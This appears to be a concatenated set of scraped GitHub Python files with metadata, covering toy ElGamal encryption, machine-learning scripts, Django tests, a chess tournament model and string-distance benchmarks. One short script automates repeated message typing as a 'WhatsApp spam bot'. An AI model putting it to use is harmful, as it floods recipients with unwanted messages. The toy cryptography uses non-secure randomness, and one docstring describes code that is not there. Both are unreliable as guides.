random.randint(1, p - 1)\r\n while r1 == r2:\r\n r2 = random.randint(1, p - 1)\r\n u1 = self.mod(r1 * g1, p)\r\n u2 = self.mod(r2 * g2, p)\r\n u3 = random.randint(1, p - 1)\r\n output = [u1, u2, u3]\r\n return output\r\n\r\n def Random(self, u1, u2, u3, pk):\r\n g1 = pk[0]\r\n g2 = pk[1]\r\n h = pk[2]\r\n r = random.randint(1, self.p - 1)\r\n u1s = self.mod(self.mod(g1 * r, self.p) + u1, self.p)\r\n u2s = self.mod(self.mod(g2 * r, self.p) + u2, self.p)\r\n u3s = self.mod(self.mod(h * r, self.p) + u3, self.p)\r\n c = [u1s, u2s, u3s]\r\n return c\r\n\r\n def get_xs(self, pk, ys):\r\n h = pk[2]\r\n g1 = pk[0]\r\n g2 = pk[1]\r\n xs = []\r\n for i in range(len(ys)):\r\n y1 = ys[i]\r\n x1 = self.get_x2(h, g1, g2, y1, self.p)\r\n xs.append(x1)\r\n return xs\r\n\r\n # Driver code\r\n def mains(self):\r\n pk, sk = self.keygen(self.p)\r\n m = 2\r\n epk1 = self.Epk(m, self.p, pk)\r\n epk2 = self.Epk(m, self.p, pk)\r\n print(epk1)\r\n print(epk2)\r\n\r\n\r\ndef SoftCrossEntropy(inputs, target, device, p, reduction='sum'):\r\n log_likelihood = -F.log_softmax(inputs, dim=1)\r\n batch = inputs.shape[0]\r\n tas = torch.rand(len(target), p * 3)\r\n tas = tas / 10\r\n tas = tas.numpy()\r\n for i, epk in enumerate(target):\r\n tas[i][epk[0]] = 2 + tas[i][epk[0]]\r\n tas[i][epk[1] + p] = tas[i][epk[0]]\r\n tas[i][epk[2] + p * 2] = tas[i][epk[0]]\r\n target = torch.from_numpy(tas)\r\n target = target.to(device)\r\n if reduction == 'average':\r\n loss = torch.sum(torch.mul(log_likelihood, target)) / batch\r\n else:\r\n loss = torch.sum(torch.mul(log_likelihood, target))\r\n return loss\r\n\r\n\r\ndef OutputRandom(output, p, pk, device):\r\n egs = Egamal(p)\r\n output = output.cpu()\r\n for x in range(len(output)):\r\n out = output[x]\r\n out1 = out[0:p]\r\n out2 = out[p:p * 2]\r\n out3 = out[p * 2:p * 3]\r\n _, index1 = torch.sort(out1, descending=True)\r\n _, index2 = torch.sort(out2, descending=True)\r\n _, index3 = torch.sort(out3, descending=True)\r\n u = index1[0].data.item()\r\n v = index2[0].data.item()\r\n e = index3[0].data.item()\r\n c1 = egs.Random(u, v, e, pk)\r\n outs = out.detach().numpy()\r\n outs[u], outs[c1[0]] = outs[c1[0]], outs[u]\r\n outs[v + p], outs[c1[1] + p] = outs[c1[1] + p], outs[v + p]\r\n outs[e + 2 * p], outs[c1[2] + 2 * p] = outs[c1[2] + 2 * p], outs[e + 2 * p]\r\n target = torch.from_numpy(outs)\r\n output[x] = target\r\n output = output.to(device)\r\n return output\r\n\r\n\r\nif __name__ == '__main__':\r\n eg = Egamal()\r\n eg.mains()\r\n", "repo_name": "SwissDM52/Anonymous_CIKM23_1", "sub_path": "enc.py", "file_name": "enc.py", "file_ext": "py", "file_size_in_byte": 4942, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "random.randint", "line_number": 38, "usage_type": "call"}, {"api_name": "sympy.isprime", "line_number": 41, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 42, "usage_type": "call"}, {"api_name": "math.log", "line_number": 52, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 55, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 56, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 57, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 58, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 68, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 86, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 87, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 89, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 92, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 100, "usage_type": "call"}, {"api_name": "torch.nn.functional.log_softmax", "line_number": 129, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 129, "usage_type": "name"}, {"api_name": "torch.rand", "line_number": 131, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 138, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 141, "usage_type": "call"}, {"api_name": "torch.mul", "line_number": 141, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 143, "usage_type": "call"}, {"api_name": "torch.mul", "line_number": 143, "usage_type": "call"}, {"api_name": "torch.sort", "line_number": 155, "usage_type": "call"}, {"api_name": "torch.sort", "line_number": 156, "usage_type": "call"}, {"api_name": "torch.sort", "line_number": 157, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 166, "usage_type": "call"}]} {"seq_id": "70830804065", "text": "import pyautogui as gui\nimport time \n\nmessage = input(\"Enter the message\")\nnumber = input(\"Enter the number of times you want to repeat the message\")\n\ntime.sleep(1)\n\nfor i in range(int(number)):\n gui.typewrite(message)\n gui.press('Enter')\n\n", "repo_name": "LegioN2004/Programs", "sub_path": "Extras-and-testing/python-experiments/whatsappspambot.py", "file_name": "whatsappspambot.py", "file_ext": "py", "file_size_in_byte": 246, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "time.sleep", "line_number": 7, "usage_type": "call"}, {"api_name": "pyautogui.typewrite", "line_number": 10, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 11, "usage_type": "call"}]} {"seq_id": "11066731861", "text": "\"\"\"\nObjective 2: Minimize number of stops\nThe number of stops is the sum of the stops at each intersection. The stops at each intersection can be calculated using the following formula:\nstop_count = (q * l) / (s * v)\nwhere:\n\nq: traffic flow rate (vehicles per hour)\ns: speed (feet per second)\nv: free-flow speed (feet per second)\nl: effective green time (seconds)\n\n here is the code to optimize Function 2 with PSO using the pyswarms library:\n\"\"\"\nimport numpy as np\nimport pyswarms as ps\n\n# Define the objective function\ndef objective_function(x):\n q, s, v = 100, 50, 60 # Traffic flow rate, speed, free-flow speed\n l = x[0] # Effective green time\n stop_count = (q * l) / (s * v)\n return stop_count\n\n# Set the bounds for the variables\nbounds = (np.array([10]), np.array([90]))\n\n# Set the options for the PSO algorithm\noptions = {'c1': 0.5, 'c2': 0.3, 'w':0.9}\n\n# Create an instance of the PSO optimizer\noptimizer = ps.single.GlobalBestPSO(n_particles=50, dimensions=1, options=options, bounds=bounds)\n\n# Perform the optimization\nbest_position, best_fitness = optimizer.optimize(objective_function, iters=10)\n\n# Print the results\nprint(\"Best effective green time:\", best_position)\nprint(\"Minimum number of stops:\", best_fitness)\n\n\"\"\"\n\nIn this code, we first define the objective function as objective_function, which takes a vector x of length 1\n and returns the number of stops at the intersection calculated using the given formula. We also set the values for q, s, and v.\n\nNext, we set the bounds for the variable l using a tuple bounds. In this case, we set the lower bound to 10 and the upper bound to 90.\n\nWe then set the options for the PSO algorithm in a dictionary options. Here, we set the cognitive and social parameters \nc1 and c2 to 0.5 and 0.3, respectively, and the inertia weight w to 0.9.\n\nWe create an instance of the PSO optimizer using ps.single.GlobalBestPSO, which takes the number of particles,\n the dimensionality of the problem, the options, and the bounds as input arguments.\n\nFinally, we call the optimize method of the optimizer with the objective function and the number of iterations \nas input arguments. The optimize method returns the best position and best\n fitness found by the optimizer, which we print to the console as the best effective green time and minimum number of stops, respectively.\n\n\nIn this code, we first define the objective function as objective_function,\n which takes a vector x of length 3 and returns the sum of the floor of each element in the vector.\n\nNext, we define the bounds for the variables using a tuple bounds. In this case, \nwe set the lower bound to 0 and the upper bound to 10 for each variable.\n\nWe then set the options for the PSO algorithm in a dictionary options.\n Here, we set the cognitive and social parameters c1 and c2 to 0.5 and 0.3,\n respectively, and the inertia weight w to 0.9.\n\nWe create an instance of the PSO optimizer using ps.single.GlobalBestPSO, which takes the number of particles, \nthe dimensionality of the problem, the options, and the bounds as input arguments.\n\nFinally, we call the optimize method of the optimizer with the objective function and the number of iterations as input arguments.\n The optimize method returns the best position and best fitness found by the optimizer, which we print to the console.\n\n\"\"\"", "repo_name": "MohamedLamrabet/Traffic-Signal-Optimization-PSO", "sub_path": "fitness/number_of_stops.py", "file_name": "number_of_stops.py", "file_ext": "py", "file_size_in_byte": 3323, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.array", "line_number": 25, "usage_type": "call"}, {"api_name": "pyswarms.single.GlobalBestPSO", "line_number": 31, "usage_type": "call"}, {"api_name": "pyswarms.single", "line_number": 31, "usage_type": "attribute"}]} {"seq_id": "24649956932", "text": "from django.test import TestCase\nfrom django.http import HttpRequest\nfrom unittest.mock import patch, MagicMock\n\nfrom nimbble.models import FitnessTracker, FitnessTrackerAccount, FitnessTrackerToken\nfrom users.models import User\n\nfrom .views import TokenHandler, StravaTokenRedirectView\n# Create your tests here.\n\n\nclass TestTokenHanlder(TestCase):\n\n def setUp(self):\n self.tracker = FitnessTracker.objects.create(name='strava')\n self.account = FitnessTrackerAccount.objects.create(tracker=self.tracker, app_id='4123', app_secret='my app secret')\n self.user = User.objects.create(username='tuser12')\n\n\n @patch('nimbble.fitnessaccount.strava.views.Client.exchange_code_for_token')\n def test_get_token_given_code(self, mock_code_exchange):\n code = 'code given by strava'\n expected_token = 'new token'\n handler = TokenHandler()\n\n mock_code_exchange.return_value = expected_token\n token = handler.get_token_from_code(code)\n\n self.assertEquals(token, expected_token)\n\n\n @patch('nimbble.fitnessaccount.strava.views.Client.exchange_code_for_token')\n def test_get_token_passes_correct_parameters(self, mock_code_exchange):\n code = 'code given by strava'\n handler = TokenHandler()\n\n mock_code_exchange.return_value = 'token'\n token = handler.get_token_from_code(code)\n\n mock_code_exchange.assert_called_with(code=code,\n client_id=int(self.account.app_id),\n client_secret=self.account.app_secret)\n\n def test_add_fitness_tracker(self):\n code = 'code given by strava'\n handler = TokenHandler()\n handler.get_token_from_code = MagicMock()\n handler.get_token_from_code.return_value = 'my token'\n\n handler.add_fitness_token(self.user, code)\n\n new_token = FitnessTrackerToken.objects.get(token='my token')\n self.assertEquals(new_token.user, self.user)\n self.assertEquals(new_token.tracker, self.tracker)\n\n\nclass TestStravaTokenRedirectView(TestCase):\n\n def setUp(self):\n self.user = User.objects.create(username='testuser')\n self.tracker = FitnessTracker.objects.create(name='strava')\n\n self.request = HttpRequest()\n self.request.user = self.user\n self.request.GET = { 'code': 'my strava code' }\n\n\n @patch('nimbble.fitnessaccount.strava.views.redirect')\n @patch('nimbble.fitnessaccount.strava.views.messages')\n @patch('nimbble.fitnessaccount.strava.views.strava_activated')\n @patch('nimbble.fitnessaccount.strava.views.TokenHandler.add_fitness_token')\n def test_get_adds_fitness_tracker(self, mock_token_handler, *args):\n\n StravaTokenRedirectView().get(self.request)\n mock_token_handler.assert_called_with(self.user, self.request.GET.get('code'))\n\n\n\n\ndef asdf():\n pass\n", "repo_name": "allan2327/nimbble-dev", "sub_path": "nimbble/nimbble/fitnessaccount/strava/tests.py", "file_name": "tests.py", "file_ext": "py", "file_size_in_byte": 2884, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.test.TestCase", "line_number": 12, "usage_type": "name"}, {"api_name": "nimbble.models.FitnessTracker.objects.create", "line_number": 15, "usage_type": "call"}, {"api_name": "nimbble.models.FitnessTracker.objects", "line_number": 15, "usage_type": "attribute"}, {"api_name": "nimbble.models.FitnessTracker", "line_number": 15, "usage_type": "name"}, {"api_name": "nimbble.models.FitnessTrackerAccount.objects.create", "line_number": 16, "usage_type": "call"}, {"api_name": "nimbble.models.FitnessTrackerAccount.objects", "line_number": 16, "usage_type": "attribute"}, {"api_name": "nimbble.models.FitnessTrackerAccount", "line_number": 16, "usage_type": "name"}, {"api_name": "users.models.User.objects.create", "line_number": 17, "usage_type": "call"}, {"api_name": "users.models.User.objects", "line_number": 17, "usage_type": "attribute"}, {"api_name": "users.models.User", "line_number": 17, "usage_type": "name"}, {"api_name": "views.TokenHandler", "line_number": 24, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 20, "usage_type": "call"}, {"api_name": "views.TokenHandler", "line_number": 35, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 32, "usage_type": "call"}, {"api_name": "views.TokenHandler", "line_number": 46, "usage_type": "call"}, {"api_name": "unittest.mock.MagicMock", "line_number": 47, "usage_type": "call"}, {"api_name": "nimbble.models.FitnessTrackerToken.objects.get", "line_number": 52, "usage_type": "call"}, {"api_name": "nimbble.models.FitnessTrackerToken.objects", "line_number": 52, "usage_type": "attribute"}, {"api_name": "nimbble.models.FitnessTrackerToken", "line_number": 52, "usage_type": "name"}, {"api_name": "django.test.TestCase", "line_number": 57, "usage_type": "name"}, {"api_name": "users.models.User.objects.create", "line_number": 60, "usage_type": "call"}, {"api_name": "users.models.User.objects", "line_number": 60, "usage_type": "attribute"}, {"api_name": "users.models.User", "line_number": 60, "usage_type": "name"}, {"api_name": "nimbble.models.FitnessTracker.objects.create", "line_number": 61, "usage_type": "call"}, {"api_name": "nimbble.models.FitnessTracker.objects", "line_number": 61, "usage_type": "attribute"}, {"api_name": "nimbble.models.FitnessTracker", "line_number": 61, "usage_type": "name"}, {"api_name": "django.http.HttpRequest", "line_number": 63, "usage_type": "call"}, {"api_name": "views.StravaTokenRedirectView", "line_number": 74, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 68, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 69, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 70, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 71, "usage_type": "call"}]} {"seq_id": "37606220602", "text": "import pandas as pd\nimport os\nfrom datetime import date\nimport matplotlib.pyplot as plt\nimport sys\n\ndef import_historic_data():\n return pd.read_csv(\"output/cleaned_historic_data.csv\")\n \ndef import_song_data():\n return pd.read_csv(\"output/cleaned_song_data.csv\")\n\ndef create_folder(song):\n song = song.replace(\" \",\"_\")\n fileName = date.today().strftime(\"%d_%m_%Y_\"+song+\"_analysis\")\n dirName='analysis/'+fileName\n try:\n os.mkdir(dirName)\n print(\"Directory \" , dirName , \" Created \") \n return dirName\n except FileExistsError:\n print(\"Directory \" , dirName , \" already exists\")\n return dirName\n\ndef create_graph(df,song,region,dirName):\n try:\n name=region+\"_graph.png\"\n df = df[(df.song_name==song) & (df.region==region)]\n df.plot(x=\"date\",y=\"position\")\n plt.ylim(100,0)\n plt.xticks(rotation=45)\n plt.savefig(dirName+\"/\"+name, dpi=300)\n except TypeError as te:\n print(te)\n\ndef getSongDataDf(df,song,artist_name):\n try:\n filtereddf = df[(df.song_name==song) & (df.artist_name==artist_name)]\n if filtereddf.empty:\n print(\"Sorry, we don't have data of that song. Try with another one.\\n\")\n print(artist_name)\n filtereddf = df[df.artist_name==artist_name]\n if filtereddf.empty:\n sys.exit()\n else:\n print(filtereddf)\n sys.exit()\n return filtereddf.to_dict()\n except TypeError as te:\n print(te)\n except ValueError as ve:\n print(ve)", "repo_name": "MaurizioMartin/data-analysis-pipeline", "sub_path": "figs.py", "file_name": "figs.py", "file_ext": "py", "file_size_in_byte": 1582, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pandas.read_csv", "line_number": 8, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 11, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 15, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 15, "usage_type": "name"}, {"api_name": "os.mkdir", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 44, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 47, "usage_type": "call"}]} {"seq_id": "74063424223", "text": "import pandas as pd\nimport torch\nimport torch.nn as nn\nimport filter\nimport mlp as mlp\nimport wandb\nimport kaggle\n\n# 确认跑道\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\nprint(device)\n# 获取数据\n# kaggle competitions download -c california-house-prices -p data\ntrain = pd.read_csv(\"data/train.csv\")\ntest = pd.read_csv(\"data/test.csv\")\n# 长度\nprint(len(train))\nprint(len(test))\n# 宽度\nprint(train.shape)\nprint(test.shape)\n\n# 预处理数据\n# 删除无用数据 序列、地址、描述、省份、邮编 等等等\nredundant_cols = ['Id', 'Address', 'Summary', 'State', 'Zip', 'Last Sold On', 'Last Sold Price', 'Listed On',\n 'Listed Price',\n 'Elementary School', 'Middle School', 'High School', 'Region', 'Lot', 'City', 'Heating features',\n 'Cooling features',\n 'Appliances included', 'Laundry features', 'Parking features']\n\n# 量化文字数据\ndescribe_cols = ['Flooring',\n 'Heating', 'Cooling', 'Parking', 'Bedrooms']\n\n# 补充缺失数据 以及格式化数据\ntrain, test = filter.handle_data([train, test], redundant_cols, describe_cols)\n\n# 把train和test去除id后放一起，train也要去掉label\nall_features = pd.concat((train.iloc[:, 1:], test.iloc[:, :]))\nall_features = pd.get_dummies(all_features, dummy_na=True)\n\n# 区分出数据集\nn_train = train.shape[0]\ntrain_features = torch.tensor(all_features[:n_train].values, dtype=torch.float).cuda()\ntest_features = torch.tensor(all_features[n_train:].values, dtype=torch.float).cuda()\ntrain_labels = torch.tensor(train['Sold Price'].values.reshape(-1, 1), dtype=torch.float).cuda()\n\ncriterion = nn.MSELoss()\nin_features = train_features.shape[1]\nnet = mlp.MLP(in_features)\n\nk, num_epochs, lr, weight_decay, batch_size = 5, 100, 0.005, 0.05, 896\nwandb.init(project=\"kaggle_1\",\n config={\"learning_rate\": lr,\n \"weight_decay\": weight_decay,\n \"batch_size\": batch_size,\n \"total_run\": num_epochs,\n \"network\": \"in->256->64\"}\n )\nprint(\"network:\", net.to(device))\n\ntrain_ls, valid_ls = mlp.train(net, criterion, train_features, train_labels, None, None, num_epochs, lr, weight_decay,\n batch_size, device)\n\ntestModel = pd.read_csv(\"data/test.csv\")\n# 使用现有训练好的net\nnet.to(device)\n# 将网络应用于测试集。\npreds = net(test_features).detach().cpu().numpy()\n# 将其重新格式化以导出到Kaggle\ntest['Sold Price'] = pd.Series(preds.reshape(1, -1)[0])\nsubmission = pd.concat([testModel['Id'], test['Sold Price']], axis=1)\nsubmission.to_csv('submission.csv', index=False)\nkaggle.api.authenticate()\nkaggle.api.competition_submit(file_name=\"submission.csv\",message='123',competition=\"california-house-prices\")\n\n# result = os.popen(\"kaggle competitions submit -c california-house-prices -f submission.csv -m '123'\").read()\n# print(result)\n", "repo_name": "cqiang1993/learning-code-demo", "sub_path": "kaggle/california-house-prices/main1.py", "file_name": "main1.py", "file_ext": "py", "file_size_in_byte": 2958, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "torch.device", "line_number": 10, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 10, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 10, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 14, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 15, "usage_type": "call"}, {"api_name": "filter.handle_data", "line_number": 36, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 39, "usage_type": "call"}, {"api_name": "pandas.get_dummies", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 44, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 45, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 46, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 46, "usage_type": "attribute"}, {"api_name": "torch.nn.MSELoss", "line_number": 48, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 48, "usage_type": "name"}, {"api_name": "mlp.MLP", "line_number": 50, "usage_type": "call"}, {"api_name": "wandb.init", "line_number": 53, "usage_type": "call"}, {"api_name": "mlp.train", "line_number": 62, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 65, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 71, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 72, "usage_type": "call"}, {"api_name": "kaggle.api.authenticate", "line_number": 74, "usage_type": "call"}, {"api_name": "kaggle.api", "line_number": 74, "usage_type": "attribute"}, {"api_name": "kaggle.api.competition_submit", "line_number": 75, "usage_type": "call"}, {"api_name": "kaggle.api", "line_number": 75, "usage_type": "attribute"}]} {"seq_id": "35571905555", "text": "\"\"\"\n-- Created by Pravesh Budhathoki\n-- Created on 2023-06-16\n\"\"\"\nfrom typing import Optional\n\n\n# 160 Intersection of two linked List\n# For question please go through below link:\n# https://leetcode.com/problems/intersection-of-two-linked-lists/\n\n\n# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\n\nclass Solution:\n def getIntersectionNode(self, headA: ListNode, headB: ListNode) -> Optional[ListNode]:\n if headA is None and headB is None:\n return headA\n pointer_a = headA\n pointer_b = headB\n while pointer_a != pointer_b:\n if pointer_a is None:\n pointer_a = headB\n else:\n pointer_a = pointer_a.next\n\n if pointer_b is None:\n pointer_b = headA\n else:\n pointer_b = pointer_b.next\n return pointer_a\n\n\nif __name__ == '__main__':\n listA = [4, 1, 8, 4, 5]\n listB = [5, 6, 1, 8, 4, 5]\n solution = Solution()\n result = solution.getIntersectionNode(listA, listB)\n print(result)\n", "repo_name": "Pravesh22/code_practice", "sub_path": "intersection_of_two_linked_list.py", "file_name": "intersection_of_two_linked_list.py", "file_ext": "py", "file_size_in_byte": 1113, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.Optional", "line_number": 21, "usage_type": "name"}]} {"seq_id": "23440602593", "text": "from django.conf.urls import patterns, include, url\nfrom django.contrib import admin\nimport django_cron\n\ndjango_cron.autodiscover()\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n url(r'^admin/', include(admin.site.urls)),\n url(r'^hospitalUser/', include('portal.urls')),\n url(r'^', include('public.urls')), \n)\n", "repo_name": "Philip-Nunoo/smsrequest", "sub_path": "smsnotification/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 325, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django_cron.autodiscover", "line_number": 5, "usage_type": "call"}, {"api_name": "django.contrib.admin.autodiscover", "line_number": 6, "usage_type": "call"}, {"api_name": "django.contrib.admin", "line_number": 6, "usage_type": "name"}, {"api_name": "django.conf.urls.patterns", "line_number": 8, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 9, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 9, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 9, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 9, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 10, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 10, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 11, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 11, "usage_type": "call"}]} {"seq_id": "20334064212", "text": "import os\nfrom tinydb import TinyDB, Query\nfrom tinydb.operations import add\nimport re\n\ndirectory_data = \"../data\"\n\n# Check if the directory exists\nif not os.path.exists(directory_data):\n # If it doesn't exist, create it.\n os.makedirs(directory_data)\nplayers_db = TinyDB('../data/Players database.json')\ntournaments_db = TinyDB('../data/Tournaments database.json')\ntournament = Query()\n\n\nclass Tournament:\n # Instantiate the tournament model\n def __init__(self, name, venue, start_date, end_date,\n current_round, registered_players, description, num_rounds=4):\n self.name = name\n self.venue = venue\n self.start_date = start_date\n self.end_date = end_date\n self.num_rounds = num_rounds\n self.current_round = current_round\n self.registered_players = registered_players\n self.description = description\n self.rounds = []\n self.paired_players = []\n\n def entered_tournament(self):\n # Return a dictionary of the tournament\n return {\n 'name': self.name,\n 'venue': self.venue,\n 'start_date': self.start_date,\n 'end_date': self.end_date,\n 'num_rounds': self.num_rounds,\n 'current_round': self.current_round,\n 'description': self.description,\n 'registered_players': self.registered_players,\n 'rounds': [],\n 'paired_players': []\n }\n\n def insert_tournament(self):\n # Add tournament to the tournaments database\n tournaments_db.insert(self.entered_tournament())\n print(\"Thank you! The tournament was added to the Chess club database\")\n\n def search_tournament(title):\n # Search and return tournament by a given name.\n given_tournament = tournaments_db.search(tournament.name.matches(title, flags=re.IGNORECASE))[0]\n return given_tournament\n\n def check_tournament(title):\n # Check the tournaments database for a tournament by a given name and return Ture or False.\n if tournaments_db.search(tournament.name.matches(title, flags=re.IGNORECASE)):\n return True\n else:\n return False\n\n def update_tournament(title, round, current_round, tour_pairs, end_date):\n # Update an exciting tournament details after each round.\n tournaments_db.update(add('rounds', round), tournament.name == title)\n tournaments_db.update({'end_date': end_date}, tournament.name == title)\n tournaments_db.update({'current_round': current_round}, tournament.name == title)\n tournaments_db.update({'tour_pairs': tour_pairs}, tournament.name == title)\n\n @staticmethod\n def load_tournaments():\n # Get data for all tournaments from the tournaments database\n return tournaments_db.all()\n\n @staticmethod\n def unfinished_tournaments():\n # Search and return unfinished tournaments.\n unfinished_tours = tournaments_db.search(tournament.end_date.matches(\"Not finished yet\"))\n return unfinished_tours\n", "repo_name": "GraziMarinoni/Project-4-Chess-App", "sub_path": "model/tournament.py", "file_name": "tournament.py", "file_ext": "py", "file_size_in_byte": 3052, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.path.exists", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 11, "usage_type": "call"}, {"api_name": "tinydb.TinyDB", "line_number": 12, "usage_type": "call"}, {"api_name": "tinydb.TinyDB", "line_number": 13, "usage_type": "call"}, {"api_name": "tinydb.Query", "line_number": 14, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 54, "usage_type": "attribute"}, {"api_name": "re.IGNORECASE", "line_number": 59, "usage_type": "attribute"}, {"api_name": "tinydb.operations.add", "line_number": 66, "usage_type": "call"}]} {"seq_id": "29777930890", "text": "# -*- coding: utf-8 -*-\n\nimport numpy as np\nimport random as rd\nimport matplotlib.pyplot as plt\nimport time\nfrom mpl_toolkits.mplot3d import Axes3D\n\ndef getRuntime(C, T, iteration_num):\n sum = 0\n for i in range(iteration_num):\n getDamLevDist(C, T)\n sum += runtime\n return sum / iteration_num\n\ndef getStrings(N, M, seed):\n # Задаём алфавит из строчных букв английского языка\n alph = [chr(i) for i in range(97, 123)]\n \n # Задаём псевдорандом генерации строк\n rd.seed(seed)\n \n str1 = ''.join([alph[rd.randint(0,25)] for i in range(N)])\n str2 = ''.join([alph[rd.randint(0,25)] for i in range(M)])\n return [str1, str2]\n \ndef getDamLevDist(C, T):\n N = len(C)\n M = len(T)\n D = np.empty( (N + 1, M + 1) ) # Создаём матрицу решения\n \n global runtime\n start = time.time()\n \n # Заполняем матрицу решения для тривиальных случаев\n D[0][0] = 0\n for i in range(1, N+1):\n D[i][0] = i\n for j in range(1, M+1):\n D[0][j] = j\n \n # Создаём словарь для хранения индексов последнего вхождения\n # всех символов используемого алфавита в преобразуемую строку\n last_position = dict.fromkeys(C+T, 0)\n \n # Построчно заполняем матрицу решения\n for i in range(1, N+1):\n last = 0\n for j in range(1, M+1):\n ti = last_position[T[j-1]]\n tj = last\n if C[i - 1] != T[j - 1]:\n D[i][j] = min(D[i][j-1] + 1, D[i-1][j] + 1, D[i-1][j-1] + 1)\n else:\n D[i][j] = D[i-1][j-1]\n last = j\n if (ti != 0) and (tj != 0):\n D[i][j] = min(D[i][j], \n D[ti - 1][tj - 1] + (i - ti - 1) + 1 + (j - tj - 1))\n last_position[C[i-1]] = i\n \n end = time.time()\n runtime = end - start\n \n return D[N][M]\n\ndef main():\n # Построение двумерного графика для слов равных длин\n X = np.arange(1, 202, 10)\n #X = np.arange(2, 403, 20)\n # getRuntime() в качестве третьего параметра принимает количество вычислений,\n # по которому усредняется значение времени работы алгоритма\n Y = map(lambda x: getRuntime(x[0],x[1],20), [getStrings(i,i,32) for i in X])\n Y = np.array(list(Y))\n \n plt.plot(X, Y, label = 'Время работы алгоритма')\n plt.scatter(X, Y, marker='o', label = 'Точки измерения времени работы')\n \n for i in range(len(X)):\n print(X[i], ':', Y[i])\n \n mean = (Y/X/X).mean()\n X = np.arange(1, 202) \n #X = np.arange(2, 403, 20)\n plt.plot(X, X*X*mean, label = 'График f(x) = x*x*' + str(mean))\n \n plt.xlabel('Размер слов, поданных на вход алгоритму (N и M)')\n plt.ylabel('Время работы алгоритма, усреднённое по 20 запускам (сек.)')\n plt.legend()\n plt.show()\n\n # Построение трёхмерного графика для слов различных длин\n X = np.arange(1, 102, 5)\n Y = np.arange(1, 102, 5)\n Z = np.empty((21,21))\n counter = 0\n for i in 